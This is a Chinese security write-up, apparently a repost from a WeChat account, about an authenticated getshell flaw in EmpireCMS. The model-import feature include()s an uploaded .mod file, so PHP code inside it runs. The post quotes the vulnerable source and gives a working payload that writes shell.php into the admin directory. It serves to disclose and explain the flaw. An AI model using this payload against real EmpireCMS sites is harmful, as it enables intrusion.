漏洞概述:
漏洞触发点是在后台管理中心-系统-数据表与数据模型-管理数据表,导入一个新的模型(后缀名需要是.mod),其中的内容写入PHP代码:
<?php file_put_contents("shell.php","<?php phpinfo(); ?>") ?>
传上去之后,会在admin目录下面直接生成shell.php这个文件,从而直接获得一个shell。
原理及代码分析:
找到对应的代码文件是e/admin/ecmsmod.php
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
判断是导入模型之后通过全局变量$_FILES获取了几个参数,然后通过LoadMod函数进行处理,下面跟进:
函数位置是e/class/moddofun.php
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
//公共变量
TogSaveTxtF(1);
GetConfig(1);//更新缓存
//生成模型表单文件
$modr=$empire->fetch1("select mtemp,qmtemp,cj from {$dbtbpre}enewsmod where mid='$mid'");
ChangeMForm($mid,$tid,$modr[mtemp]);//更新表单
ChangeQmForm($mid,$tid,$modr[qmtemp]);//更新前台表单
ChangeMCj($mid,$tid,$modr[cj]);//采集表单
//删除文件
DelFiletext($path);
//操作日志
insert_dolog("tid=$tid&tb=$tbname<br>mid=$mid");
printerror("LoadInModSuccess","db/ListTable.php".hReturnEcmsHashStrHref2(1));
}
可以看到在验证完权限、扩展名是否合法、表明是否存在之后开始文件上传的操作,通过当前时间和10位随机数创建一个随机的文件名地址,可以看到,这里直接拼接我们上传的文件为一个php文件,如果知道地址我们是可以直接访问的,但是不太可能猜解出来:
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
然后通过move_upload_file()移到一个新的位置,新的位置也就是上面直接生成的文件地址。
之后,就是存在漏洞的地方:
@include($path);
它!竟然直接包含进来刚刚随机生成的那个php文件,由于上传的文件内容我们可以控制,而且没有对文件内容做控制,我们可以在上传的mod文件中添加php代码,在include进来后直接执行。
总结逻辑:我们传一个mod文件,系统会将这个文件重新拼接成一个php文件并且文件名随机,然后include进来这个文件,由于mod内容可以控制且没有过滤,所以我们其中的代码会被解析,因此写一个创建shell.php的代码在.mod文件中可以直接被执行:
<?php file_put_contents("shell.php","<?php phpinfo(); ?>") ?>
从而在/admin目录生成shell.php
原文始发于微信公众号(增益安全):EmpireCms后台Getshell
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论